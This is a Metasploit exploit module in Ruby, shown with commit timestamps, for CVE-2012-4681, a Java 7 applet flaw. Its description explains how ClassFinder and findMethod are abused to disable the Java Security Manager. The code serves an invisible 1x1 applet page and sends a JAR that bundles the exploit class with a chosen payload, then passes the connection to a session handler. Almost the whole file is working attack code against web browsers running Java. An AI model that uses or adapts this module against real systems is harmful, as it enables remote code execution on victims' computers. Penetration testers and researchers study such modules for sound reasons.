metasploit-framework/modules/exploits/multi/browser/java_jre17_exec.rb

132 lines
3.9 KiB
Ruby
Raw Normal View History

2012-08-27 09:25:04 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java 7 Applet Remote Code Execution',
'Description' => %q{
2012-08-29 16:10:35 +00:00
The exploit takes advantage of two issues in JDK 7: The ClassFinder and
MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a
replacement for classForName back in JDK 6. It allows untrusted code to obtain a
reference and have access to a restricted package in JDK 7, which can be used to
abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
actually invoke getField() by abusing findMethod() in Statement.invokeInternal()
(but getField() must be public, and that's not always the case in JDK 6) in order
to access Statement.acc's private field, modify AccessControlContext, and then
disable Security Manager. Once Security Manager is disabled, we can execute
arbitrary Java code.
Our exploit has been tested successfully against multiple platforms, including:
IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.
2012-08-27 09:25:04 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'jduck', # metasploit module
'sinn3r', # metasploit module
'juan vazquez', # metasploit module
],
'References' =>
[
2012-08-28 06:21:32 +00:00
[ 'CVE', '2012-4681' ],
[ 'OSVDB', '84867' ],
2012-08-27 09:25:04 +00:00
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
2012-08-27 18:24:43 +00:00
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
2012-08-27 18:29:27 +00:00
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
2012-08-27 09:25:04 +00:00
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
2012-08-27 09:25:04 +00:00
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 26 2012'
))
end
def on_request_uri( cli, request )
2012-08-27 09:25:04 +00:00
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
print_status("#{self.name} handling request")
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
paths = [
[ "Exploit.class" ]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
2012-08-28 14:33:01 +00:00
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-4681", path ), "rb")
2012-08-27 09:25:04 +00:00
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end